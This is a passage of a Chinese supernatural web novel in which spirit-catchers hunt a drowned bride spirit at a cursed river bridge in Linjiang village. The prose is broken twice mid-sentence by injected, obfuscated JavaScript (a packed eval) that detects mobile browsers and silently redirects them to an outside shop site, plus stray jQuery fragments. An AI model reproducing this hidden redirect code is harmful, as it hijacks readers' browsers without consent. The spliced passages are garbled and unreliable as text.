一连几天,他们都去了河边,但是却仍然没有任何异状。两个伤患都把身上的伤养得差不多了。 应归燎伤得比钟遥晚重多了,但是恢复得竟然和钟遥晚差不多。 平时应归燎就能闹腾,伤好了以后就更是变本加厉。 有一天,应归燎甚至抱了个西瓜去河边,用网兜把西瓜泡在河水里冰镇。 “尝尝?河水冰过的,特别甜。”应归燎咧嘴笑着,丝毫没有紧张感。他将一瓣西瓜给钟遥晚递过去。 “…有病。”钟遥晚嘴上嫌弃,最终还是在烈日的逼迫下接过了那瓣西瓜。 回去的时候钟遥晚忽然心血来潮,没有走往常的路线。 他已经好几年没有在村里好好转悠过了,这些年临江村发展得很好,吸引来了许多向往乡野的城里人在这儿落户。明明是熟悉的小路,但是竟然让钟遥晚生出了几分陌生的感觉。 钟遥晚家附近的都是些老房子,青苔趴在墙角,屋檐下的红灯笼也褪成了浅粉色。但转过几条街巷,景象便截然不同——崭新的自建房鳞次栉比,白墙黑瓦在夕阳下泛着冷光,门前停着的轿车,锃亮得能照出人影。 就在道路即将走到尽头的时候,一抹刺目的白色突然闯入视线。钟遥晚脚步一顿:“那户人家,怎么挂着白绸?” 应归燎顺着他的目光望去,只见一栋崭新的双层小楼门前,惨白的绸布在暮色中轻轻飘荡。他耸耸肩,语气稀松平常:“大概是哪户溺亡的人家吧。” 就在他说话间,忽然一个人从门口走出来。 出来的是个女人,她的肤色呈现出不健康的蜡黄色,头发乱糟糟地垂在消瘦的脸颊两侧。她看起来年纪不大,左不过三十左右,但是眉宇间的疲态却让她显得苍老了许多。 女人手中提着一袋垃圾,步履蹒跚地朝着垃圾站方向走去。 钟遥晚本想提议去找她问问情况,但是还没等他开口,应归燎已经先一步上前去叫住了那个女人。 “拿着这么多东西啊?我来帮你吧。”应归燎非常上道,一上前就接过了女人手中的垃圾,熟练地就好像他们认识了许久一般。 “你是?”女人睨了他一眼,声音没有起伏。 应归燎的声音一如既往地欢快:“哦,我们是平和市的。听说临江村环境好,想在这儿长住。这不来提前打听打听,这里怎么样嘛。” 女人看了一眼不远处的钟遥晚和唐佐佐,面无表情地回答:“临江村挺不错的,可以考虑长住。” 她说完以后就将应归燎手里的垃圾袋拿了回来,转身就要走。 应归燎顺势松手,状似无意地嘀咕:“是吗?奇怪,刚刚路口有个老伯倒是和我们说,这里有河神,让我们不要来临江村呢。” 应归燎的声音很轻,却像一道惊雷炸在女人耳边。她的脚步猛地停住,提着垃圾袋的手指骤然收紧。 夕阳的余晖映在她僵直的背影上,在地上投下一道扭曲的长影。 然而,女人只是眉心微动。 她抿了抿唇,最终仍然没有说什么,拖着沉重的步伐一步一步离开了几人的视线。 19. 求求你不要走 钟遥晚本来以为应归燎还会追上去刨根问底,没想到他干脆利落地转身就走,双手插在兜里的背影还透着几分漫不经心。 钟遥晚:“她肯定知道什么,不再多问几句吗?” 应归燎:“这可是村子,什么事都会传开的,我们去问问其他人就好了。” 应归燎很自信,只是他们回程时抓了两个路人询问那家的事,除了这家人是新搬过来的,以及那屋头的男人被发现溺死在主河道里,已经死了好几个月了以外,竟再问不出更多线索。 回到家里,吃过晚餐以后几个人就在院子里纳凉。 唐佐佐比划着手语。 钟遥晚虽然看不懂,但从应归燎的应答中猜出她打算明天返回平和市处理事务所的案子。 钟遥晚暗自盘算,临江村虽然基础设施完善,但到底是乡野之地,想要离开的话还是需要车子。 他自己的车抛锚在半路,已经拉去维修厂了,要回暮雪市的话只能搭便车。 如今他的假期只剩下三天了,唐佐佐要是明天就走的话,钟遥晚到时候还要去别家问问谁家能让他蹭个车才行。 就在他打算插话,问唐佐佐能不能带他回去的时候,却听到应归燎突然沉声道: “事务所的事情都不急,老狐狸要是急的话,你让他再等等。我总觉得这个村子里的事情不简单,你再过几天走吧。” 他难得露出凝重的神情。 唐佐佐闻言后,干脆地比了个“OK”的手势就回屋了。 她虽然平时总爱和应归燎呛声,遇到了正事却会无条件地信任应归燎的决定。 “村子的事怎么了吗?”钟遥晚靠了过去。 “捉灵师的直觉而已。”应归燎见他过来了,神色瞬间明朗,话锋一转,“对了,你知道你爷爷为什么要留在临江村吗?” 钟遥晚回忆道:“小时候我爷爷告诉我,他是来临江村工作的时候认识的奶奶。两个人一见钟情,他也就索性留在临江村了。” “那你爷爷原先是哪的人?” “南阳市。” 应归燎若有所思地“哦”了一声:“南阳市那可是大城市啊。” “你问这些做什么?”钟遥晚好奇地追问。 “现在不是怀疑思绪体是你爷爷吗?问清楚点总是没错的。”应归燎说,“你是不是三天后就要回暮雪市了?” 钟遥晚一怔,点了点头。 他只在请完假的时候随口提了一句自己的请假时长,没想到应归燎居然记住了。 应归燎见状,忽然笑了起来:“这个案子我大概有些眉目了,放心吧,三天内应该可以解决。” * 夜深人静,只有窗外偶尔传来的几声虫鸣。 应归燎洗漱后摆弄了一会儿罗盘,又给伤口上了药,昏黄的灯光将他挺拔的身影投在墙上,随着动作微微晃动。 他伤得比钟遥晚严重许多,但是愈合速度惊人。不过几天工夫,那些曾经狰狞的伤口已然收口,结痂脱落处,新生出淡粉色的皮肉,看着还有些脆弱。 “你这恢复能力也太变态了。”钟遥晚小声嘀咕。 应归燎正套上睡衣,闻言动作一顿,回头看他。他嘴角自然地扬起,带着点懒洋洋的戏谑:“怎么?羡慕了?”说着,他故意舒展了一下肩背,骨节发出两声轻响,动作流畅而充满力量感,“天生的,没办法。” 钟遥晚没接话,目光却不由自主地落在应归燎的锁骨处——那里原本有一道深可见骨的伤,现在只剩下一道浅粉色的印子,在皮肤上若隐若现。照这个速度,怕是再过两天,连这点痕迹都会消失不见。 他站在灯光下,像是被镀了层金边,连发梢都在闪闪发亮。 应归燎注意到他的视线,眨了眨眼:“好看吗?” “还行吧。”钟遥晚坦然回复,“对了,你说案子已经有眉目了,是知道思绪体在哪儿了吗?” “八九不离十就在石桥那里。” 钟遥晚:“……”废话。 钟遥晚还要再继续问下去,但是应归燎直接翻身上床,没有给他继续问下去的机会,眼睛一闭就开始睡觉。 时间一分一秒过去,屋子里静得只能听到挂钟指针走动的声音。 潮湿的夜风从窗缝渗入,带着临江村特有的水腥气和远处稻田的泥土味。墙上,树影如墨,随风无声晃动,仿佛在演绎一场古老的皮影戏。 钟遥晚望着墙上晃动的树影,思绪不断回溯着关于爷爷的片段记忆,可是爷爷和那座石桥的关系,却始终没有任何头绪。 钟棋并不是临江村的人,为什么会和那座不让人去的石桥有关联?为什么村里人又会对那座桥讳莫如深? 钟遥晚的奶奶已经是村里的长者了,如果连她都不知道原因的话,那么应该也不会有别人能够解决回答问题了。 “滋滋……滋……” 一阵刺耳的摩擦声骤然划破寂静。 钟遥晚浑身一僵。 这是应归燎那个古怪罗盘的声音。 罗盘就被应归燎放在桌子上,这几天它一直都很安静,现此刻却像被无形的鬼手拨弄,自主地发出刺耳的鸣响。 出事了! 钟遥晚立刻翻身下床,几步冲到应归燎床边,伸手推搡他的肩膀:“醒醒!好像出事了!” 掌心下传来温热的体温,但床上的人却纹丝不动,呼吸绵长均匀,显然正沉陷在梦乡深处。 “喂!应归燎,醒醒!”钟遥晚加重了力道,又晃了晃他。 应归燎只是含糊地“嗯”了一声,翻了个身把毯子卷得更紧了些。他半边脸都陷进了枕头里,看起来睡得格外香甜。 钟遥晚无奈,只好凑到他耳边提高音量:“你的罗盘在响!” “唔……别闹……”应归燎迷迷糊糊地挥了挥手,嘴角甚至还挂着一点满足的笑意,似乎正做着什么美梦。 罗盘的噪音越来越尖锐。 钟遥晚忍无可忍,一把掀开了应归燎的被子。冷空气骤然入侵,床上的人猛地一哆嗦,这才不情不愿地掀开沉重的眼皮。 “干嘛啊……”应归燎揉着眼睛,声音里还带着浓浓的睡意,头发乱蓬蓬地支棱着,完全没了平日里精明干练的样子。他打了个大大的哈欠,眼角渗出一点生理性的泪水,“大半夜的,没事别把人吵醒啊。” 钟遥晚指了指桌上疯狂转动的罗盘:“你管这叫没事?” 应归燎眯着眼睛,朝着钟遥晚指的方向茫然望去。等到视线终于聚焦在那疯狂转动的罗盘上时,他猛地倒吸了一口凉气,整个人像触电般弹了起来。 “卧槽!”他手忙脚乱地翻身下床,光着脚丫就踉跄着扑向桌边,途中还被歪在地上的拖鞋绊了个趔趄,“怎么不早叫我!” 钟遥晚:“……”我叫得醒你吗? 钟遥晚问:“这是什么情况?” 应归燎死死盯着罗盘,喉结紧张地上下滚动,声音都绷紧了:“去把佐佐叫醒,麻烦了……思绪体实体化了。” 钟遥晚的心头一紧,立刻转身冲向唐佐佐的房间。 唐佐佐的房门大开着,钟遥晚没有进去,只是敲了敲门,抬高音量道:“佐佐?醒醒,出事了!思绪体实体化了!” 里面立刻传来两声清晰的敲击墙面的回应,干脆利落。 很快,唐佐佐的身影就出现在门口,她脸上没有刚醒的惺忪,眼神清明而锐利。 几乎同时,应归燎也从卧室里冲了出来,手里紧紧攥着那枚仍在疯狂转动的罗盘,指针摩擦的“滋滋”声在寂静的走廊里格外刺耳。 三人在走廊昏暗的灯光下打了个照面。唐佐佐目光一扫过罗盘,立即比划了几个急促的手势,纤细的手指在昏暗的灯光下划出凌厉的轨迹。 “这个……我也不清楚为什么提前了,”应归燎摸了摸鼻子,眼神飘忽,“按推算最早也该是后天才对……” 钟遥晚看着两人打哑谜般的交流,忍不住打断:“现在不是讨论这个的时候!你们是不是该立刻出发了?” 应归燎闻言刚要迈步,却猛地一个急刹,倒退两步回到钟遥晚面前,诧异地看着他:“你不一起去?” “我?”钟遥晚指了指自己,觉得这问题简直荒谬,“我又不是捉灵师!我去能干什么?” 应归燎眯起眼睛:“你忘了你是那个思绪体的首要目标了吗?你确定要一个人待在家里?你确定不需要我们英明神武的佐佐姐的保护?” 唐佐佐:“……” 钟遥晚:“……” 钟遥晚则被这番话堵得一时语塞。 留下,还是跟上? 理智告诉他,跟着专业捉灵师无疑更安全。但一想到要主动踏入那片未知的、能催生出实体化怪物的黑暗,胃里就一阵翻搅。 他几乎能想象出奶奶知道后会有多担心。 可应归燎说得对,他就像个活体诱饵,独自留下,万一那东西找上门来,他连周旋的余地都没有。 钟遥晚纠结再三,几乎是从牙缝里挤出三个字:“……我也去。” * 三人匆匆离开家门,踏入浓稠的夜色之中。 应归燎手持那枚仍在嗡鸣的罗盘走在最前,他与唐佐佐显然都已习惯了这种深夜的突发行动,尽管是被骤然惊醒,步履间却不见半分疲态,只有全神贯注的警惕。 穿过两条寂静的街道,应归燎突然抬起手臂,拦住了身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614253|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的两人。 钟遥晚顺着他凝重的视线望去,心头猛地一沉—— 前方不远处,一个穿着鲜红色连衣裙的女人,她的长发披散着随风而动,正以一种异常均匀且毫无波动的速度向前行走。 更令人不适的是她的眼神,直勾勾地望着前方空洞处,里面没有任何神采,仿佛灵魂已被彻底掏空。 钟遥晚背后窜起一股寒意。他想起自己被魇住的那天,要是没有被拦住的话应该也会像她一样,孤魂一般地在村里游荡。 “那个……好像是陈文姐。”钟遥晚眯起眼睛,借着昏黄的路灯辨认出那张又熟悉又陌生的脸。 应归燎压低声音问道:“认识?” 钟遥晚:“小时候有一起玩过,不过长大了往来不多。听说大学毕业以后就回家乡建设了,她家里人一直催着结婚,但是好像她一直没把心思放在男女之事上面。” 「她是不是在往石桥走?」唐佐佐飞快打字。 “看起来是的。”钟遥晚说,“我们要不要去拦住她?” 应归燎的目光紧锁在陈文身上,沉吟片刻,摇了摇头:“先不着急,我们总得弄清是什么东西在背后作祟。” 三人于是不再作声,只是更加小心地缀在陈文身后,与她保持着一段危险的距离。幽深的巷道里,只有他们压抑的呼吸声,和陈文那规律到令人心悸的脚步声在回荡。 然而!就在她即将踏上那条通往村外的荒僻小路,异变陡生! 路旁浓密的灌木丛猛地剧烈晃动起来,“咔嚓”一声,一根手腕粗的树枝骤然断裂,那声响在万籁俱寂的夜里如同惊雷。 几乎是声音响起的同一瞬间,傍晚那个蓬头垢面的女人猛地从黑暗中踉跄着冲了出来。她似乎是用力过猛了,一下猝不及防地重重摔倒在路中央。 可是她似乎感觉不到疼痛,只是用那双布满血丝的眼睛死死盯住陈文。 女人几乎是手脚并用地爬起来,枯瘦的身影在清冷的月光下单薄得像一张纸,可她固执地张开了双臂,颤抖着拦在了陈文面前。 女人嘶哑的喊声像是从破碎的喉咙中挤出来的,带着绝望的颤音:“别过去!不能去啊!” 然而,陈面对这近乎悲壮的阻拦,陈文那双空洞的眼睛里,没有映出任何影像。 她脚步不停,甚至没有一丝迟疑,如同设定好的程序般,僵硬且精准地绕开了女人,继续朝着北方,向着那座石桥的方向前行。 女人见状,眼中瞬间爆发出一种近乎疯狂的绝望。 她低吼一声,再次猛地扑上前,一双骨节突出、脏污不堪的手,如同铁钳般死死攥住了陈文的手腕,指甲因用力而深深陷进了那白皙的皮肉里。 但被餍住的陈文力气大得惊人,她甚至没有回头,只是手腕轻轻一振,女人就像破布娃娃般被甩了出去。 “砰!” 一声沉闷的撞击声响起,女人的后背重重砸在路旁粗糙的树干上,震得枝叶簌簌作响。她瘫软在地,身体痛苦地蜷缩起来。 钟遥晚的呼吸瞬间窒住。他眼睁睁看着那女人被轻易甩开。 他不知道女人有什么执念,但是面前的画面看起来就像一场单方面的、残酷的凌迟。 这已经不是勇敢了。 而是一种近乎自杀的、令人心惊的执念。 “不行……不能去……” 她咳出一口带着血沫的唾沫,眼神却愈发涣散而执拗。她用手肘支撑着地面,用颤抖得不成样子的双臂,再一次顽强地将自己从尘土中撑起来,再一次不顾一切地扑了上去。 这一次,她死死抱住了陈文的大腿,整个身体的重量都坠在上面。 然而,,陈文那机械而坚定的步伐并未停下。 女人的身体就被硬生生地拖行在粗粝的石板路上。衣衫瞬间被磨破,膝盖与地面摩擦,发出令人牙酸的声音,暗红色的血痕在月光下迅速洇开,蜿蜒如泪。 “求求你,不能去……”女人的哭声支离破碎,泪水混着脸上的尘土流下,“去了石桥就再也回不来了……求求你,求求你不要去啊……” 陈文的步伐没有丝毫停滞。 当双臂因脱力再也抱不住时,在极致的绝望中,女人猛地低下头,用牙齿死死咬住了陈文的红色裙角! 布料撕裂的声音在夜色中格外清晰,她像是溺水者抓住最后一根稻草般,任凭嘴角被布料磨出血痕也不肯松口。 钟遥晚的瞳孔微微震颤。他看着那抹刺目的鲜红在裙摆上晕开,看着那女人即便用上牙齿也不肯放弃的姿态,一股难以言喻的悲凉与恐惧攫住了他。 ——那座石桥究竟意味着什么?能让一个人宁愿被磨碎,也要阻止另一个人靠近? 20. 红嫁衣 啪! 最后连接着的那缕布料纤维,终于发出一声细微却清晰的崩裂声。 女人猛地向后仰倒,后脑重重磕在坚硬的石板路上,发出一声令人心惊的闷响。 她瘫在冰冷的石面上,涣散的瞳孔里,只倒映着那抹决绝的红色背影渐行渐远。干裂的嘴唇无力地翕动着,气流挤出微弱到几乎听不见的哀求:“不要去……求你了,不要去啊。” 钟遥晚在远处观望着,心里却泛起一阵酸涩。女人的手指已经磨出了血,却还在徒劳地抓挠着地面,想要爬向陈文离开的方向。 她每艰难地向前蠕动一寸,就在灰白的砖石上,就在砖地上抓出一道蜿蜒的暗红。 “别走……求你了、别走,不能去啊……” 她嘶哑的哀求声混着血沫,被夜风碎成一片片凝噎。 应归燎和唐佐佐两个人的脸色如常,只是偶尔从眼中闪过几丝不忍。 终于,还是钟遥晚先一步克制不住了打算上前去搀扶女人一把。可是他刚刚站起来就被应归燎和唐佐佐一左一右地架住胳膊,不让他靠近。 钟遥晚有点恼了:“陈文已经走了,我们也得跟上去了吧?” “先别急,有不太妙的东西在附近。”应归燎的声音低沉。 就在钟遥晚因他这句话而微怔的刹那,两人已借力将他猛地向后一拽,三人迅速隐入身旁一堵残破的土墙之后,屏住了呼吸。 他们鬼鬼祟祟地探出半个脑袋,视线聚焦回那个趴在路中央的女人身上。 只见方才还执着爬向石桥方向的女人,像是被无形的冰针刺中,猛地停止了所有动作,连微弱的抽泣也戛然而止。 紧接着,她整个身体开始无法自控地剧烈颤抖起来,那幅度大得惊人,仿佛每一寸骨骼都在彼此撞击。 夜风骤然大作,呼啸着卷起地上堆积的枯叶,在空中形成混乱的漩涡。 风中裹挟着一股浓烈得令人作呕的腐朽气息,迅速弥漫开来沾染了每一寸空气。 叮铃—— 叮铃—— 钟遥晚浑身血液仿佛瞬间冻结。在呼啸的风声中,他分明捕捉到了一缕清脆的铃铛声。 那声音不疾不徐,一下,又一下。像是从极遥远的彼岸传来,穿透层层夜幕,又像是直接敲击在他的耳骨上,在颅腔内引起细微的共鸣。 这铃声太过干净,太过纯粹,反而在这诡谲的夜色中淬炼出一种令人头皮发麻的诡异。 忽然! 一抹刺目的红色缓缓从林间浮现。 那是一个身量娇小的女子,一袭鲜红嫁衣在月光下泛着血一般的光泽。她的衣摆处,金线绣制的凤凰纹样在走动间若隐若现,那凤凰姿态扭曲,不似祥瑞,反如垂死挣扎。大红的盖头边缘,坠着几枚布满铜绿的铃铛,随着她每一步踏出,便发出那催命符般的声响。 叮铃——叮铃—— 即使隔着距离,钟遥晚仍然能够感受到那阵刺骨的寒意。 几乎是在同时,应归燎手中的罗盘发出了前所未有的尖啸! 那指针疯狂旋转,快得只剩一片模糊的残影,猛烈地撞击着盘面,仿佛下一秒就要跳脱出来。 趴伏在地上的女人浑身抖如筛糠。她不敢抬头看,只能死死地捂住了自己的嘴巴,指甲深深陷进脸颊的皮肉里,掩耳盗铃一般地想要掩去自己的存在。 穿着嫁衣的女子脚步轻得诡异,那双精致的绣花鞋踩在铺满枯叶的地面上,竟未发出丝毫声响。她如同鬼魅般飘移到颤抖的女人身边,缓缓俯身。 在这瞬间,夜风恰巧将红盖头掀起一角,露出青紫色的唇角。更令人胆寒的是,那嘴角正以一种非人的方式,不断地向上撕裂,最终定格成一个夸张到极致、无比瘆人的诡异弧度。 “佐佐!” 应归燎厉喝出声。 下一秒,唐佐佐就像一支离弦的箭一般冲了出去,动作快得几乎拉出残影。 那嫁衣女子瞬间察觉到了危险的逼近,头颅以一个极不自然的角度猛地后仰!阴风趁势将红盖头高高扬起,彻底暴露出一截青白中泛着死灰的下巴。 ——那绝非活人应有的肤色! “咯咯咯……咯咯……” 她的笑声陡然拔高,变得尖锐刺耳,仿佛有成百上千个铜铃在耳边同时疯狂炸响,诡异的音波在空旷的夜色中层层回荡,扭曲空气。 钟遥晚痛苦地捂住双耳,可那魔音仿佛无孔不入,直接钻进他的脑髓深处疯狂搅动,震得他眼前阵阵发黑,几乎要跪倒在地。 就在这时,一双手稳稳地捂住了他的耳朵。 是应归燎。 他的手掌宽厚,带着与这恐怖夜晚格格不入的温热体温,紧紧贴附在钟遥晚的耳廓上。 紧接着,一股奇异的暖流仿佛从他掌心注入,迅速在钟遥晚冰冷的四肢百骸中扩散开来,所过之处,那钻脑的魔音竟被奇异地隔绝、削弱。 钟遥晚猛地喘过一口气,眩晕的视野重新聚焦,耳鸣也减轻了大半。 战场中心,在唐佐佐如疾风般逼近的那一刻,嫁衣女缓缓抬起了那只浮肿发白的手。 她的嘴唇翕动着,吐出一个个带着腐朽气息的音节:“沉河者,可平息,吾之怒……” 随着诡异咒语的吟唱,唐佐佐的衣摆突然泛起不自然的猩红,像被无形的血水浸染般迅速向上蔓延。钟遥晚看得分明,那血色中隐约浮现出无数张扭曲的人脸,正发出无声的哀嚎。 “小心!”钟遥晚的惊呼卡在喉咙里,而应归燎却只是认真观察着嫁衣女子的一举一动。 唐佐佐逼近的速度很快,就在血色即将染上衣领的刹那,她猛地一个迅捷的旋身,右手并指如箭,疾刺嫁衣女子咽喉! 嫁衣女子狞笑着伸出浮肿的手掌格挡,然而,就在两者接触的瞬间—— 哧! 一声灼烧的轻响。 反而是嫁衣女子的指尖骤然冒出浓浊的黑烟,如同河底淤泥翻涌上来的腥臭气息顿时在空气中炸开! “啊啊啊——!” 嫁衣女子发出一声不似人声的尖叫。 她踉跄后退,唐佐佐乘势跃起,修长的腿在空中划出凌厉的弧线,狠狠一脚蹬在对方腹部。 这一脚裹挟着破空之声,直接将嫁衣女子踢飞了出去,重重摔在石板路上,震起一片尘埃! 红盖头飘然落地,嫁衣女子的脸也终于曝光在外。 她的皮肤仿佛被河水长久浸泡般肿胀近透明,五官的轮廓也因此模糊难辨。唯有那双几乎要凸出眼眶的、布满蛛网般血丝的眼球,正带着刻骨的怨毒,死死钉在唐佐佐身上。 唐佐佐的攻势如同疾风骤雨,根本不给对方任何起身的机会!嫁衣女子甚至还来不及起身,她的第二脚已经带着千钧之力踏下—— 砰! 靴底接触嫁衣的瞬间,刺目的荧绿色光芒骤然爆发,将整片林野都照亮了一瞬!那些扭曲的树影在强光中疯狂舞动,像是无数挣扎的亡魂。 “啊啊啊!!啊啊呃呃呃呃……!!” 嫁衣女子的尖叫声撕心裂肺,先前诡异的笑声荡然无存。 她的身体开始不受控制地剧烈痉挛,青灰色的皮肤如同久经风霜的脆弱瓷片,寸寸龟裂。裂缝中汩汩涌出粘稠的黑红色黏液,一股混合着河腥味与血肉腐烂的恶臭瞬间弥漫开来。 应归燎适时地捂住钟遥晚的眼睛:“别看,会做噩梦。” 然而,在指缝漏出的狭窄视野里,钟遥晚仍捕捉到了那骇人的一幕—— 嫁衣女子的躯体仿佛被无数双无形巨手从内部撕扯,猛地分崩离析,化作漫天血雾。那袭猩红的嫁衣随之碎裂,却不是布料,而是化作千万片带着余烬的纸灰,在清冷的月光下纷扬飘飞,翩跹起舞,宛如一场盛大而凄艳的血色大雪。 夜风卷着纸灰掠过钟遥晚的脸颊。 他恍惚间,仿佛听见无数女子幽怨的啜泣在风中交织,又像是那索命铜铃最后一丝不甘的余韵,终究彻底消散在无尽的夜色深处,再无痕迹。 “结束了?”钟遥晚的声音有些发干,喉咙里还残留着之前紧绷的涩意。 应归燎缓缓松开了覆盖在钟遥晚眼睛上的手,说:“结束了。” 两人一同上前,走向战场中心。 唐佐佐和邋遢女人衣服上的红色已经全部褪去了,仿佛刚才那场惊心动魄的对抗从未发生过。 女人似乎还未从极致的恐惧中回神,她瘫坐在地,嘴唇翕动了半天,才找回一丝微弱的气音:“你们是……白天的……” 女人的话还没有说完,唐佐佐突然踉跄了一下。 她单手扶住树干,指尖深深掐进太阳穴。 明明方才的战斗以压倒性的优势消灭了嫁衣女子,但是此刻她的脸色却苍白如纸,呼吸也变得急促而紊乱。 嫁衣女子的记忆如潮水般涌入她的脑海——冰冷的河水灌入肺部的窒息感,沉重嫁衣缠绕四肢的束缚,还有手腕上那根越勒越紧的红绳…… “佐佐?”应归燎敏锐地察觉到异常,扶住她摇晃的身躯。 唐佐佐被应归燎搀扶住,她扬了扬手想示意自己没事。可下一秒,强烈的生理性不适涌上喉头,她猛地弯下腰,控制不住地干呕起来。 那些不属于她的记忆碎片在脑海中翻涌着:唢呐声、哭喊声、百年来的规矩、被束缚在献祭架上的无力…… 那被活活溺毙的冰冷与痛苦太过真实,仿佛她的肺叶也真的被浑浊的河水灌满过,跟着那嫁衣女子在水底死过了一回。 “没、没事吧?”另一边,女人在钟遥晚的搀扶下颤颤巍巍地站起身,她的身体还在颤抖,目光却担忧地落在明显不适的唐佐佐身上。 唐佐佐深深吸了几口冰冷的夜气,试图压下胸腔的翻涌。额前的碎发早已被冷汗浸透,湿漉漉地贴在苍白的脸颊上。 她强撑着朝女人摆了摆手,示意自己无碍,但那垂下的指尖,仍不受控制地微微颤抖着。 女人见她似乎缓过来一些,刚松了半口气,却猛地想起了更重要的事,枯瘦的手突然紧紧抓住钟遥晚的手臂,道:“那个姑娘!她……她往石桥走,得要救救她!” “知道了。”应归燎应了一声,然后看向唐佐佐,“你还行吧?” 唐佐佐闭了闭眼,长睫在眼下投出脆弱的阴影。当她再次睁开时,眸中那些因痛苦而产生的混乱已然褪去,取而代之的是一种近乎冷酷的清明。 她轻轻点头,抬手抹去唇边的血迹。那是她咬破舌尖强行保持清醒的痕迹。 应归燎确认唐佐佐能站稳,这才松开扶着她的手,转向钟遥晚:“让佐佐休息一下,我们去把陈文带回来。控制她的思绪体被净化了,她应该没事了。” 钟遥晚应了一声,同样确认了女人没事以后才跟着应归燎一起往北走。 小径几乎被浓稠的夜色吞没,只能勉强辨认出脚下模糊的路径。 脚下的落叶发出细碎的声响,远处还飞舞着几只萤火虫,在昏暗的树影间明明灭灭。 然而,这些小生命并没有为这片环境带来生气,反而更加增添了几分诡谲。 越往深处走,空气越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614254|187672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发潮湿阴冷,腐朽枝叶和湿土混合的气息钻入鼻腔,带着陈年的沉闷。 “思绪体净化了?”钟遥晚拨开眼前挡路的树枝,低声问道。 “嗯。就像往沸水里倒冰块,只要灵力足够强大,就能强行中和怨气,超度亡魂。”应归燎解释道,“但是唐佐佐她天生灵力强,底子好,一般人要是这么做的话可能会搭进去半条命。” 钟遥晚回忆了一下唐佐佐方才脸色惨白的模样。她那副样子,和搭进去半条命也差不多了。 月光下,应归燎的眼神格外清明,他似是看穿了钟遥晚的疑惑,又道:“净化成功以后会读取到对方生前的记忆,一般人都受不了这种记忆冲击。更何况,一般变成思绪体的人,生前都多半过得都不太好。” 钟遥晚呼吸一滞。 他回忆起了雨中的山村,二丫记忆中那股撕心裂肺的绝望感毫无预兆地翻涌上来,像冰冷的河水骤然漫过胸口,让他一阵窒息。他猛地停住脚步,脚下的落叶发出清脆的碎裂声:“等等!所以二丫的思绪体是我净化的?!” 应归燎奇怪地看了他一眼:“当然啊。” “你怎么没和我说?!” “我不是说了吗,‘嗯,净化了!’” 钟遥晚:“……” “别担心。”应归燎转而笑得没心没肺,拍了拍他的肩,“继承记忆这种事,不管多少次都是难受的。不过你承受能力还不错,第一次居然没有当场晕过去。” 这算是夸奖吗?钟遥晚一点也高兴不起来,他追问道:“那你呢?你能强制净化多少思绪体?” “我?”应归燎指了指自己,随即露出一个灿烂又理直气壮的笑容,竖起一根手指,“半个吧!” 钟遥晚:“……” 钟遥晚看着他嬉皮笑脸的样子,很想把这货推到河里去。 两人踩着斑驳的月影穿过树林,脚下的枯枝发出细碎的断裂声。这条路他们这几天已经走得烂熟,即使月光被树枝切割得支离破碎,也能凭记忆摸索到河边。 河岸边的芦苇丛中,一抹素白格外醒目。 陈文正静静地躺在那里,双眼紧闭,仿佛只是陷入了沉睡。她身上的裙子已经恢复了原本素净的颜色,不再有丝毫诡异的猩红。 然而,她的位置距离那漆黑的水面仅有半步之遥,湿滑的泥土边缘甚至留下了她滑落的痕迹。可以想象,若是唐佐佐再晚上片刻净化那个嫁衣女子,恐怕她早已被冰冷的河水吞没。 两人快步上前,钟遥晚伸手探了探陈文的鼻息。直到指尖感受到那平稳温热的呼吸,一直悬着的心才稍稍落下:“还活着!” “那就把她带回去吧。”应归燎说。 应归燎靠近过去要搭把手,才架起陈文一侧胳膊,原本平静的河面突然毫无征兆地泛起一串气泡。 两人动作瞬间僵住,警觉地抬头望去。只见原本在月光下尚能映出倒影的河水,此刻竟变得如同墨汁般浑浊不堪。 一个接一个黏稠的气泡正从河心深处不断涌上、破裂,炸开时带起一股混合着水腥与腐肉的恶臭,仿佛河床之下正有什么巨大的东西在剧烈翻腾。 这气味,和方才嫁衣女子出现时的一模一样! 钟遥晚一把架起陈文,河水的腥气熏得他几欲作呕:“怎么回事?!” 应归燎迅速掏出罗盘,却发现指针死气沉沉地静止不动。先前消耗了太多灵力,罗盘还没有完全充能完毕,找到方才的嫁衣女子已经耗尽了里面全部的力量,此刻的罗盘已经彻底变成了一块废铁。 “跑!”他当机立断,胳膊猛地发力,几乎是将陈文整个人提了起来。 三人跌跌撞撞地冲出芦苇丛,枯黄的苇秆抽打在脸上火辣辣地疼。 而身后,那气泡炸裂的声音非但没有停止,反而变得越来越密集! 咕噜……咕噜…… 鼓涌声此起彼伏,如同无数冤魂在同时叩击着水面,每一声都震得人心头发颤。 钟遥晚忍不住回头看了一眼,差点把他的腿都吓软了。 只见原本空旷的河面上空,赫然悬浮着数十个身穿血红嫁衣的女子身影! 她们静默无声,如同被无形丝线吊起的提线木偶。嫁衣的款式各不相同,却都红得那般刺目,在惨淡的月光下泛着血一般湿漉漉的不祥光泽。 更令人头皮发麻的是,这个数量还在疯狂增加!转眼之间,密密麻麻的红色身影便布满了整条河道上空,宛如一片望不到边的的猩红浮萍。 虽然每个女子都蒙着红盖头,但钟遥晚能清晰地感受到那盖头下投射来的怨毒目光,冰冷得仿佛实质般的刀锋,一寸寸刮过他的脊背。 应归燎的嘶吼声几乎变了调:“快跑!” 